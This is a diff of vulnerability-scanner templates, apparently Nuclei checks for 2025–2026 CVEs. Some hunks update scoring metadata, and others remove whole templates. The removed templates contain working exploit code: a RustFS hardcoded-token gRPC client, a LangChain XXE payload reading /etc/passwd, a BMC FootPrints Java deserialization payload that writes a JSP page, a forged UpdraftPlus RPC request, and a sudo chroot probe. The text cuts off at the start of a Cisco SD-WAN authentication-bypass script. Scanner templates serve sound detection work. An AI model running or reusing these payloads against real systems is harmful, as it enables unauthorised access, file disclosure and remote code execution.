- "VULNERABLE:"
|
||||
# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
|
||||
impact: |
|
||||
Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
|
||||
remediation: |
|
||||
This vulnerability is fixed in 1.17.0 and 1.12.3.
|
||||
reference:
|
||||
@@ -21,8 +19,8 @@ info:
|
||||
cvss-score: 9.3
|
||||
cve-id: CVE-2025-25291
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.19506
|
||||
epss-percentile: 0.97063
|
||||
epss-score: 0.17247
|
||||
epss-percentile: 0.94744
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: gitlab
|
||||
@@ -80,4 +78,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 4b0a00483046022100a3d98846ef0c01a57b20a106d7ebf99219b3b6a2ed50668f80714b85c5532bbe022100e1a8a9d50236aed98f938cbd637155eee48ddbc3de3e31fdad4e95fdbbfe8963:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
|
||||
impact: |
|
||||
Unauthenticated attackers can execute arbitrary code or commands through specially crafted SSH protocol requests to the fgfmd daemon on Erlang/OTP SSH servers.
|
||||
remediation: |
|
||||
This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
|
||||
reference:
|
||||
@@ -22,8 +20,8 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2025-32433
|
||||
cwe-id: CWE-306
|
||||
epss-score: 0.97859
|
||||
epss-percentile: 0.999
|
||||
epss-score: 0.53778
|
||||
epss-percentile: 0.97866
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
@@ -174,4 +172,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,67 +0,0 @@
|
||||
id: CVE-2025-32463
|
||||
|
||||
info:
|
||||
name: Sudo - Local Privilege Escalation via chroot
|
||||
author: SeungAh-Hong
|
||||
severity: critical
|
||||
description: |
|
||||
Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
|
||||
impact: |
|
||||
A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
|
||||
remediation: |
|
||||
Upgrade sudo to version 1.9.17p1 or later.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-32463
|
||||
- https://www.sudo.ws/security/advisories/chroot_bug/
|
||||
- https://ubuntu.com/security/CVE-2025-32463
|
||||
- https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
|
||||
- https://explore.alas.aws.amazon.com/CVE-2025-32463.html
|
||||
classification:
|
||||
cve-id: CVE-2025-32463
|
||||
epss-score: 0.47467
|
||||
epss-percentile: 0.98707
|
||||
cvss-score: 9.3
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cwe-id: CWE-426
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
|
||||
|
||||
self-contained: true
|
||||
|
||||
flow: code(1) && code(2)
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
whoami
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "root"
|
||||
negative: true
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
OUT="$(sudo -n -R woot woot 2>&1 || true)"
|
||||
printf "%s\n" "$OUT"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- '(?i).*woot.*no such file or directory.*'
|
||||
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "!contains(tolower(response), 'password')"
|
||||
- "!contains(tolower(response), 'a password is required')"
|
||||
- "!contains(tolower(response), 'is not in the sudoers file')"
|
||||
# digest: 4a0a0047304502202f12fa31ba7e9283f202786f843993d7ad38c466eb090e9ad19784d6ec54ba71022100ed446ac775b42ca9b14cc51a55418c6533d4fbcb7b18afa4c24544c98c1c8dea:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,10 +17,10 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-54309
|
||||
epss-score: 0.92034
|
||||
epss-percentile: 0.99809
|
||||
epss-score: 0.56973
|
||||
epss-percentile: 0.98016
|
||||
cwe-id: CWE-287,CWE-362
|
||||
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
|
||||
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: crushftp
|
||||
@@ -200,4 +200,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 4b0a00483046022100ad7626f7f3d0af34e1c610704ebcecf3b30c2a6561249961a60148e4c14e462f02210091af242d9de6ba75eb651934b2e242fe41516eb96f9df643d688fd79bb247993:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,8 +15,8 @@ info:
|
||||
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
|
||||
classification:
|
||||
epss-score: 0.3072
|
||||
epss-percentile: 0.98038
|
||||
epss-score: 0.28615
|
||||
epss-percentile: 0.96307
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-6216
|
||||
@@ -115,4 +115,4 @@ code:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- '"Reset URL: " + code_response'
|
||||
# digest: 4a0a00473045022100e53410dad0cba28b1583615ec4cfae67d59f6734808d3dc4587912fde6edec19022070eef21b3e242d3b0e5f17b1b9d64bef410c16570eb4a943972cd82f3cb81d30:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,90 +0,0 @@
|
||||
id: CVE-2025-68926
|
||||
|
||||
info:
|
||||
name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token
|
||||
author: Chocapikk,bilisheep
|
||||
severity: critical
|
||||
description: |
|
||||
RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API.
|
||||
impact: |
|
||||
Full administrative access to RustFS including reading, writing, and deleting all stored data.
|
||||
remediation: |
|
||||
Upgrade to RustFS 1.0.0-alpha.77 or later.
|
||||
reference:
|
||||
- https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-68926
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-68926
|
||||
epss-score: 0.2903
|
||||
epss-percentile: 0.97945
|
||||
cwe-id: CWE-798
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
vendor: rustfs
|
||||
product: rustfs
|
||||
tags: cve,cve2025,rustfs,grpc,auth-bypass,code
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import socket, os, re
|
||||
from h2.connection import H2Connection
|
||||
from h2.config import H2Configuration
|
||||
from h2.events import DataReceived, TrailersReceived, StreamEnded
|
||||
|
||||
host, port = os.getenv('HOST'), int(os.getenv('PORT'))
|
||||
sock = socket.create_connection((host, port), timeout=10)
|
||||
sock.settimeout(5)
|
||||
|
||||
conn = H2Connection(H2Configuration(client_side=True))
|
||||
conn.initiate_connection()
|
||||
sock.sendall(conn.data_to_send())
|
||||
|
||||
sid = conn.get_next_available_stream_id()
|
||||
hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'),
|
||||
(':path','/node_service.NodeService/ServerInfo'),
|
||||
('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')]
|
||||
conn.send_headers(sid, hdrs, end_stream=False)
|
||||
conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True)
|
||||
sock.sendall(conn.data_to_send())
|
||||
|
||||
body, status = b'', None
|
||||
while True:
|
||||
data = sock.recv(65535)
|
||||
if not data: break
|
||||
for e in conn.receive_data(data):
|
||||
if isinstance(e, DataReceived):
|
||||
body += e.data
|
||||
conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id)
|
||||
elif isinstance(e, TrailersReceived):
|
||||
status = dict(e.headers).get(b'grpc-status', b'').decode()
|
||||
elif isinstance(e, StreamEnded): break
|
||||
else: sock.sendall(conn.data_to_send()); continue
|
||||
break
|
||||
sock.close()
|
||||
|
||||
if status == '0' and len(body) > 5:
|
||||
m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body)
|
||||
print(m.group(1).decode() if m else 'grpc-auth-bypass')
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")'
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
regex:
|
||||
- "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
|
||||
# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
|
||||
@@ -1,67 +0,0 @@
|
||||
id: CVE-2025-6984
|
||||
|
||||
info:
|
||||
name: langchain-ai langchain - XML External Entity Injection
|
||||
author: nukunga
|
||||
severity: high
|
||||
description: |
|
||||
langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
|
||||
impact: |
|
||||
Attackers can disclose sensitive local files, potentially exposing critical system information.
|
||||
remediation: |
|
||||
Update to the latest version that disables external entity references in XML parsing.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-6984
|
||||
- https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
|
||||
- https://github.com/langchain-ai/langchain-community/commit/e842452
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2025-6984
|
||||
epss-score: 0.01531
|
||||
epss-percentile: 0.71894
|
||||
cwe-id: CWE-200
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cve,cve2025,langchain,xxe,intrusive,file-write
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import tempfile
|
||||
import os
|
||||
from langchain_community.document_loaders import EverNoteLoader
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
xxe_payload = '''<?xml version="1.0" ?>
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<note>
|
||||
<content>&example;</content>
|
||||
</note>'''
|
||||
|
||||
# Write payload to temporary file
|
||||
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
||||
f.write(xxe_payload)
|
||||
temp_file = f.name
|
||||
|
||||
try:
|
||||
loader = EverNoteLoader(temp_file)
|
||||
print(loader.load())
|
||||
finally:
|
||||
os.unlink(temp_file)
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "root:"
|
||||
- "bin:"
|
||||
- "daemon:"
|
||||
condition: or
|
||||
# digest: 4a0a00473045022100b7c40b69efdee2b33105857ac4795f9eeb0104f195814899661033df8ad021da02202a1066a0a337decfd516539e85ac9a573564cb1e3638b8066664723d38370992:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,115 +0,0 @@
|
||||
id: CVE-2025-71260
|
||||
|
||||
info:
|
||||
name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
|
||||
author: watchTowr,DhiyaneshDk
|
||||
severity: critical
|
||||
description: |
|
||||
BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
|
||||
impact: |
|
||||
Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
|
||||
remediation: Upgrade BMC FootPrints to the latest patched version.
|
||||
reference:
|
||||
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
|
||||
- https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-71260
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 4
|
||||
shodan-query: html:"/footprints/servicedesk/"
|
||||
tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
|
||||
|
||||
flow: http(1) && code(1) && http(2) && http(3)
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(header, "SEC_TOKEN=")'
|
||||
internal: true
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: {{len(payload)}}
|
||||
|
||||
__VIEWSTATE={{payload}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code == 500'
|
||||
internal: true
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /{{filename}}.jsp HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "System Information"
|
||||
- "OS User:"
|
||||
- "Current Working Directory:"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: os_user
|
||||
part: body
|
||||
regex:
|
||||
- 'OS User:</strong>\s*([^<]+)'
|
||||
group: 1
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import random
|
||||
import string
|
||||
import base64
|
||||
from urllib.parse import quote
|
||||
|
||||
original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
|
||||
|
||||
target = b"watchTowr"
|
||||
random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
|
||||
|
||||
decoded = base64.b64decode(original_b64)
|
||||
modified = decoded.replace(target, random_name.encode())
|
||||
encoded = base64.b64encode(modified).decode()
|
||||
payload = quote(encoded, safe='')
|
||||
|
||||
print(f"{random_name}|{payload}")
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: filename
|
||||
internal: true
|
||||
regex:
|
||||
- '^([^|]+)'
|
||||
group: 1
|
||||
|
||||
- type: regex
|
||||
name: payload
|
||||
internal: true
|
||||
regex:
|
||||
- '\|(.+)$'
|
||||
group: 1
|
||||
# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
|
||||
@@ -18,13 +18,13 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-9242
|
||||
cwe-id: CWE-787,CWE-362
|
||||
epss-score: 0.8637
|
||||
epss-percentile: 0.99714
|
||||
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
|
||||
epss-score: 0.055
|
||||
epss-percentile: 0.89772
|
||||
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: html:"Watchguard" html:"Authentication Server"
|
||||
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
|
||||
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
@@ -552,4 +552,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022100e006a600b522ba537af0cf6a56fbf6a099f19be3b271bf18210533879ea5b1f00220330aaa943d142c5536a60a4ecc869f22a9ace716733a916552de4aafe594f569:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,88 +0,0 @@
|
||||
id: CVE-2026-10795
|
||||
|
||||
info:
|
||||
name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
|
||||
author: theamanrawat,s4e-io
|
||||
severity: high
|
||||
description: |
|
||||
UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
|
||||
impact: |
|
||||
Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
|
||||
remediation: |
|
||||
Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
|
||||
reference:
|
||||
- https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
|
||||
- https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2026-10795
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.1
|
||||
cve-id: CVE-2026-10795
|
||||
epss-score: 0.03578
|
||||
epss-percentile: 0.88076
|
||||
cwe-id: CWE-347
|
||||
metadata:
|
||||
max-request: 2
|
||||
verified: true
|
||||
shodan-query: http.html:"updraftplus"
|
||||
fofa-query: body="/wp-content/plugins/updraftplus"
|
||||
tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
|
||||
source: |
|
||||
#!/bin/sh
|
||||
KEY_NAME="0.central.updraftplus.com"
|
||||
TIMESTAMP=$(date +%s)
|
||||
RAND=424243
|
||||
JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
|
||||
CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
|
||||
RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
|
||||
RSA_LEN=$(printf '%03x' ${#RSA_B64})
|
||||
CT_LEN=$(printf '%016x' ${#CT_B64})
|
||||
UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
|
||||
ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
|
||||
printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code == 200'
|
||||
- 'contains(body, "UpdraftPlus")'
|
||||
- 'compare_versions(version, "<= 1.26.4")'
|
||||
condition: and
|
||||
internal: true
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- "(?i)Stable tag:\\s*([\\d.]+)"
|
||||
internal: true
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
{{code_response}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code == 200'
|
||||
- 'contains(body, "\"udrpc_message\":\"")'
|
||||
condition: and
|
||||
# digest: 4b0a00483046022100cc298397aef14a0fdbd604bfe4ba78603668947469e6816e9b571b398863679e022100b011f7c87d881bebd33cd8b8ddd8b2376196e5694ef035e5c5992d3e8bd602c9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,275 +0,0 @@
|
||||
id: CVE-2026-20182
|
||||
|
||||
info:
|
||||
name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
|
||||
author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
|
||||
severity: critical
|
||||
description: |
|
||||
Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
|
||||
remediation: |
|
||||
Update to the latest fixed version as per Cisco advisory.
|
||||
impact: |
|
||||
Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
|
||||
reference:
|
||||
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
|
||||
- https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
|
||||
- https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2026-20182
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 10.0
|
||||
cve-id: CVE-2026-20182
|
||||
epss-score: 0.88496
|
||||
epss-percentile: 0.99755
|
||||
cwe-id: CWE-287
|
||||
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
vendor: cisco
|
||||
product: catalyst_sd-wan_controller
|
||||
shodan-query: port:12346 product:"Cisco SD-WAN"
|
||||
fofa-query: port="12346" && product="Cisco SD-WAN"
|
||||
tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import os
|
||||
import struct
|
||||
import socket
|
||||
import subprocess
|
||||
import time
|
||||
import select
|
||||
import secrets
|
||||
import tempfile
|
||||
import shutil
|
||||
|
||||
MSG_HELLO = 0x05
|
||||
MSG_CHALLENGE = 0x08
|
||||
MSG_CHALLENGE_ACK = 0x09
|
||||
MSG_TEAR_DOWN = 0x0B
|
||||
|
||||
DEV_VHUB = 2
|
||||
HDR_FLAGS = 0xA0
|
||||
DOMAIN_ID = 1
|
||||
SITE_ID = 100
|
||||
|
||||
MSG_NAMES = {
|
||||
0x05: "Hello",
|
||||
0x08: "CHALLENGE",
|
||||
0x09: "CHALLENGE_ACK",
|
||||
